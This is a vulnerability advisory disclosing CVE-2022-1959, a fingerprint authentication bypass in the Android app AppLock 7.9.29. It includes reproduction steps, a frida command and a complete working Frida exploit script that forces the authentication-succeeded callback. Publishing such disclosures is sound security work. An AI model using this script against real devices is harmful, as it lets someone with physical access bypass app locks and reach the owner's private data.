AppLock 7.9.29 - Improper Access Control - Fingerprint

Summary

NameAppLock 7.9.29 - Improper Access Control - Fingerprint
Code nameWalker
ProductAppLock (Fingerprint)
Affected versionsVersion 7.9.29
StatePublic
Release date2022-09-26

Vulnerability

KindImproper Access Control - Fingerprint
Rule115. Security controls bypass or absence
RemoteYes
CVSSv3 VectorCVSS:3.1/AV:P/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
CVSSv3 Base Score5.5
Exploit availableYes
CVE ID(s)CVE-2022-1959

Description

AppLock version 7.9.29 allows an attacker with physical access to the device to bypass biometric authentication. This is possible because the application did not correctly implement fingerprint validations.

Vulnerability

In android application fingerprint implementations, the onAuthenticationSucceded method is triggered when the system successfully authenticates a user. Most biometric authentication implementations rely on this method being called, without worrying about the CryptoObject. The application logic responsible for unlocking the application is usually included in this callback method. This approach is trivially exploited by connecting to the application process and calling the AuthenticationSucceded method directly, as a result, the application can be unlocked without providing valid biometric data.

Another common case occurs when some developers use CryptoObject but do not encrypt/decrypt data that is crucial for the application to function properly. Therefore, we could skip the authentication step altogether and proceed to use the application. To solve this there is no single answer, however a good approach is to use a fingerprint protected key store key that will be used to decrypt a symmetric key. This symmetric key must be used to decrypt the application storage.

I attach the following link so that you can better understand the vulnerability present in AppLock:

Steps to reproduce

  1. Install and configure AppLock.

  2. Activate and configure fingerprint protection in AppLock.

  3. Install and configure frida as indicated in the following link.

  4. Start AppLock on your device, if you set everything up correctly, you should now see a prompt to put your fingerprint.

  5. Run the following command on your laptop.

'frida -U AppLock -l exploit.js --no-pause'
  1. Now on your device press the 'recent' button, commonly represented by a square. This button opens the recent apps view so that you can switch from one open app to another.

  2. Log back into AppLock.

  3. Now all you have to do is log in again. This time you will enter the application instantly, without having entered a valid fingerprint.

Exploitation

exploit.js

// exploit.js
const getAuthResult = (AuthenticationResult, crypto) => AuthenticationResult.$new(
    crypto, null, 0
);

const exploit = () => {
    console.log("[+] Hooking PassphrasePromptActivity - Method resumeScreenLock");
    const AuthenticationResult = Java.use(
        'android.hardware.fingerprint.FingerprintManager$AuthenticationResult'
    );
    const FingerprintManager  = Java.use(
        'android.hardware.fingerprint.FingerprintManager'
    );
    const CryptoObject = Java.use(
        'android.hardware.fingerprint.FingerprintManager$CryptoObject'
    );

    console.log("Hooking FingerprintManagerCompat.authenticate()...");
    const fingerprintManager_authenticate = FingerprintManager['authenticate'].overload(
        'android.hardware.fingerprint.FingerprintManager$CryptoObject',
        'android.os.CancellationSignal',
        'int',
        'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback',
        'android.os.Handler'
    );

    fingerprintManager_authenticate.implementation = (
        crypto, cancel, flags, callback, handler) => {
        console.log("Bypass Lock Screen - Fingerprint");

        // We send a null cryptoObject to the listener of the fingerprint
        var crypto = CryptoObject.$new(null);
        var authenticationResult = getAuthResult(AuthenticationResult, crypto);
        callback.onAuthenticationSucceeded(authenticationResult);
        return this.authenticate(crypto, cancel, flags, callback, handler);
    }
}

Java.perform(() => exploit());

Evidence of exploitation

applock-fingerprint-bypass

Our security police

We have reserved the CVE-2022-1959 to refer to this issue from now on.

System Information

  • Version: AppLock (Fingerprint) 7.9.29

  • Operating System: Android 8.0 (API 26)

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from the Offensive Team of Fluid Attacks.

References

Vendor page https://www.spsoftmobile.com

Timeline

Time-lapse-logo

2022-09-06

Vulnerability discovered.

Time-lapse-logo

2022-09-07

Vendor contacted.

Time-lapse-logo

2022-09-26

Public Disclosure.